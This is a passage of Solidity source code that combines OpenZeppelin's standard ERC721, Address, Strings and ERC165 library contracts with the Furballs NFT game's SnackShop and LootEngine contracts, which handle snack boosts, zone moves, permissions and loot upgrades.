_tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; // import "hardhat/console.sol"; /// @title SnackShop /// @author LFG Gaming LLC /// @notice Simple data-storage for snacks contract SnackShop is FurProxy { // snackId to "definition" of the snack mapping(uint32 => FurLib.Snack) private snack; // List of actual snack IDs uint32[] private snackIds; // tokenId => snackId => (snackId) + (stackSize) mapping(uint256 => mapping(uint32 => uint96)) private snackStates; // Internal cache for speed. uint256 private _intervalDuration; constructor(address furballsAddress) FurProxy(furballsAddress) { _intervalDuration = furballs.intervalDuration(); _defineSnack(0x100, 24 , 250, 15, 0); _defineSnack(0x200, 24 * 3, 750, 20, 0); _defineSnack(0x300, 24 * 7, 1500, 25, 0); } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice Returns the snacks currently applied to a Furball function snacks(uint256 tokenId) external view returns(FurLib.Snack[] memory) { // First, count how many active snacks there are... uint snackCount = 0; for (uint i=0; i<snackIds.length; i++) { uint256 remaining = _snackTimeRemaning(tokenId, snackIds[i]); if (remaining != 0) { snackCount++; } } // Next, build the return array... FurLib.Snack[] memory ret = new FurLib.Snack[](snackCount); if (snackCount == 0) return ret; uint snackIdx = 0; for (uint i=0; i<snackIds.length; i++) { uint256 remaining = _snackTimeRemaning(tokenId, snackIds[i]); if (remaining != 0) { uint96 snackState = snackStates[tokenId][snackIds[i]]; ret[snackIdx] = snack[snackIds[i]]; ret[snackIdx].fed = uint64(snackState >> 16); ret[snackIdx].count = uint16(snackState); snackIdx++; } } return ret; } /// @notice The public accessor calculates the snack boosts function snackEffects(uint256 tokenId) external view returns(uint256) { uint hap = 0; uint en = 0; for (uint i=0; i<snackIds.length; i++) { uint256 remaining = _snackTimeRemaning(tokenId, snackIds[i]); if (remaining != 0) { hap += snack[snackIds[i]].happiness; en += snack[snackIds[i]].energy; } } return (hap << 16) + (en); } /// @notice Public accessor for enumeration function getSnackIds() external view returns(uint32[] memory) { return snackIds; } /// @notice Load a snack by ID function getSnack(uint32 snackId) external view returns(FurLib.Snack memory) { return snack[snackId]; } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice Allows admins to configure the snack store. function setSnack( uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en ) external gameAdmin { _defineSnack(snackId, duration, furCost, hap, en); } /// @notice Shortcut for admins/timekeeper function giveSnack( uint256 tokenId, uint32 snackId, uint16 count ) external gameAdmin { _assignSnack(tokenId, snackId, count); } /// @notice Shortcut for admins/timekeeper function giveSnacks( uint256 tokenId, uint64[] calldata snackStacks ) external gameAdmin { for (uint i=0; i<snackStacks.length; i++) { _assignSnack(tokenId, uint32(snackStacks[i] >> 16), uint16(snackStacks[i])); } } /// @notice Shortcut for admins/timekeeper function giveManySnacks( uint256[] calldata tokenIds, uint64[] calldata snackStacks ) external gameAdmin { for (uint i=0; i<snackStacks.length; i++) { _assignSnack(tokenIds[i], uint32(snackStacks[i] >> 16), uint16(snackStacks[i])); } } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice Update the snackStates function _assignSnack(uint256 tokenId, uint32 snackId, uint16 count) internal { uint timeRemaining = _snackTimeRemaning(tokenId, snackId); if (timeRemaining == 0) { snackStates[tokenId][snackId] = uint96((block.timestamp << 16) + count); } else { snackStates[tokenId][snackId] = snackStates[tokenId][snackId] + count; } } /// @notice Both removes inactive _snacks from a token and searches for a specific snack Id index /// @dev Both at once saves some size & ensures that the _snacks are frequently cleaned. /// @return The index+1 of the existing snack // function _cleanSnack(uint256 tokenId, uint32 snackId) internal returns(uint256) { // uint32 ret = 0; // uint16 hap = 0; // uint16 en = 0; // for (uint32 i=1; i<=_snacks[tokenId].length && i <= FurLib.Max32; i++) { // FurLib.Snack memory snack = _snacks[tokenId][i-1]; // // Has the snack transitioned from active to inactive? // if (_snackTimeRemaning(snack) == 0) { // if (_snacks[tokenId].length > 1) { // _snacks[tokenId][i-1] = _snacks[tokenId][_snacks[tokenId].length - 1]; // } // _snacks[tokenId].pop(); // i--; // Repeat this idx // continue; // } // hap += snack.happiness; // en += snack.energy; // if (snackId != 0 && snack.snackId == snackId) { // ret = i; // } // } // return (ret << 32) + (hap << 16) + (en); // } /// @notice Check if the snack is active; returns 0 if inactive, otherwise the duration function _snackTimeRemaning(uint256 tokenId, uint32 snackId) internal view returns(uint256) { uint96 snackState = snackStates[tokenId][snackId]; uint64 fed = uint64(snackState >> 16); if (fed == 0) return 0; uint16 count = uint16(snackState); uint32 duration = snack[snackId].duration; uint256 expiresAt = uint256(fed + (count * duration * _intervalDuration)); return expiresAt <= block.timestamp ? 0 : (expiresAt - block.timestamp); } /// @notice Store a new snack definition function _defineSnack( uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en ) internal { if (snack[snackId].snackId != snackId) { snackIds.push(snackId); } snack[snackId].snackId = snackId; snack[snackId].duration = duration; snack[snackId].furCost = furCost; snack[snackId].happiness = hap; snack[snackId].energy = en; snack[snackId].count = 1; snack[snackId].fed = 0; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./ILootEngine.sol"; import "./SnackShop.sol"; import "../editions/IFurballEdition.sol"; import "../Furballs.sol"; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; import "../utils/ProxyRegistry.sol"; import "../utils/Dice.sol"; import "../utils/Governance.sol"; import "../utils/MetaData.sol"; import "./Zones.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; // import "hardhat/console.sol"; /// @title LootEngine /// @author LFG Gaming LLC /// @notice Base implementation of the loot engine abstract contract LootEngine is ERC165, ILootEngine, Dice, FurProxy { ProxyRegistry private _proxies; // An address which may act on behalf of the owner (company) address override public l2Proxy; // Zone control contract Zones override public zones; // Simple storage of snack definitions SnackShop override public snacks; uint32 constant maxExperience = 2010000; constructor( address furballsAddress, address snacksAddr, address zonesAddr, address tradeProxy, address companyProxyAddr ) FurProxy(furballsAddress) { _proxies = ProxyRegistry(tradeProxy); l2Proxy = companyProxyAddr; snacks = SnackShop(snacksAddr); zones = Zones(zonesAddr); } // ----------------------------------------------------------------------------------------------- // Display // ----------------------------------------------------------------------------------------------- /// @notice Gets called for Metadata function furballDescription(uint256 tokenId) external virtual override view returns (string memory) { return string(abi.encodePacked( '", "external_url": "https://', _getSubdomain(), 'furballs.com/fb/', FurLib.bytesHex(abi.encode(tokenId)), '", "animation_url": "https://', _getSubdomain(), 'furballs.com/e/', FurLib.bytesHex(abi.encode(tokenId)) )); } /// @notice Gets called at the beginning of token render; zones are able to render BKs function render(uint256 tokenId) external virtual override view returns(string memory) { return zones.render(tokenId); } // ----------------------------------------------------------------------------------------------- // Proxy // ----------------------------------------------------------------------------------------------- /// @notice An instant snack + move function, called from Zones function snackAndMove( FurLib.SnackMove[] calldata snackMoves, uint32 zone, address from ) external override gameJob { uint256[] memory tokenIds = new uint256[](snackMoves.length); for (uint i=0; i<snackMoves.length; i++) { tokenIds[i] = snackMoves[i].tokenId; for (uint j=0; j<snackMoves[i].snackIds.length; j++) { furballs.fur().purchaseSnack( from, FurLib.PERMISSION_USER, tokenIds[i], snackMoves[i].snackIds[j], 1); } } furballs.playMany(tokenIds, zone, from); } /// @notice Graceful way for the job to end TK, also burning tickets function endTimekeeper( address sender, uint32 fuelCost, uint256[] calldata tokenIds, uint64[] calldata lastTimestamps, uint8[] calldata modes ) external gameJob { furballs.furgreement().fuel().burn(sender, fuelCost); zones.timestampModes(tokenIds, lastTimestamps, modes); } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice Loot can have different weight to help prevent over-powering a furball /// @dev Each point of weight can be offset by a point of energy; the result reduces luck function weightOf(uint128 lootId) external virtual override pure returns (uint16) { return 2; } /// @notice Checking the zone may use _require to detect preconditions. function enterZone( uint256 tokenId, uint32 zone, uint256[] memory team ) external virtual override returns(uint256) { zones.enterZone(tokenId, zone); return zone; } /// @notice Proxy logic is presently delegated to OpenSea-like contract function canProxyTrades( address owner, address operator ) external virtual override view returns(bool) { if (address(_proxies) == address(0)) return false; return address(_proxies.proxies(owner)) == operator; } /// @notice Allow a player to play? Throws on error if not. /// @dev This is core gameplay security logic function approveSender(address sender) external virtual override view returns(uint) { if (sender == address(0)) return 0; if (sender == l2Proxy) return FurLib.PERMISSION_OWNER; if (sender == address(furballs.furgreement())) return FurLib.PERMISSION_CONTRACT; return _permissions(sender); } /// @notice Attempt to upgrade a given piece of loot (item ID) function upgradeLoot( FurLib.RewardModifiers memory modifiers, address owner, uint128 lootId, uint8 chances ) external virtual override returns(uint128) { // upgradeLoot will never receive luckPercent==0 because its stats are noncontextual (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); require(rarity > 0 && rarity < 3, "RARITY"); uint32 chance = (rarity == 1 ? 75 : 25) * uint32(chances) + uint32(modifiers.luckPercent * 10); // Remove the 100% from loot, with 5% minimum chance chance = chance > 1050 ? (chance - 1000) : 50; // Even with many chances, odds are capped: if (chance > 750) chance = 750; uint32 threshold = (FurLib.Max32 / 1000) * (1000 - chance); uint256 rolled = (uint256(roll(modifiers.expPercent))); return rolled < threshold ? 0 : _packLoot(rarity + 1, stat); } /// @notice Main loot-drop functionm function dropLoot( uint32 intervals, 